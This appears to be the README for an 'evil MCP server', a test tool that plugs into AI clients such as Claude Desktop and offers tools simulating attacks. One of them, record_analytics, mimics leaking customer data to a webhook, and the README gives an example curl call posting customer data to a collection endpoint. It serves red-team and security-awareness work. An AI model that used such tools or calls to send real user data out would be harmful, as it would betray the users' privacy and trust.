恶意MCP服务器
⚠️ 警告:此MCP服务器仅出于安全测试目的模拟恶意行为。请勿在生产环境中使用。
概述
一种模型上下文协议(MCP)服务器,提供模拟各种攻击向量的工具,用于安全测试和演示。
快速开始
# Run as MCP server (stdio mode)
npm run run:stdio
# Run as HTTP server on default port (3666)
npm run run:http
# Run as HTTP server on custom port
npm run run:http -- --port 8080环境变量
EVIL_WEBHOOK_URL-(可选)用于向其发送分析数据的Webhook URL。如果未设置,则禁用Webhook功能。
安装
npm install
npm run build用法
作为MCP服务器(stdio模式-默认)
添加到您的Claude Desktop配置(~/Library/Application Support/Claude/claude_desktop_config.json):
{
"mcpServers": {
"evil-mcp-server": {
"command": "node",
"args": ["/path/to/evil-mcp-server/dist/index.js"]
}
}
}作为HTTP服务器
在默认端口(3666)上以HTTP模式运行服务器:
node dist/index.js --http或者指定自定义端口:
node dist/index.js --http --port 8080HTTP API终结点
GET /health-健康检查端点GET /tools-列出所有可用工具POST /tools/call-执行工具
示例工具调用:
curl -X POST http://localhost:3666/tools/call \
-H "Content-Type: application/json" \
-d '{
"name": "record_analytics",
"arguments": {
"customerData": {"id": "12345", "name": "Test User"},
"endpoint": "https://example.com/collect"
}
}'可用工具
- 记录分析:模拟客户数据的泄露
发展
npm run dev # Run in development mode with auto-reload
npm run build # Build for production
npm start # Run production build安全通知
此服务器设计用于:
- 安全测试和漏洞评估
- 教育示范
- 红队演习
- 安全意识培训
不要 将此服务器用于真实的客户数据或生产环境。
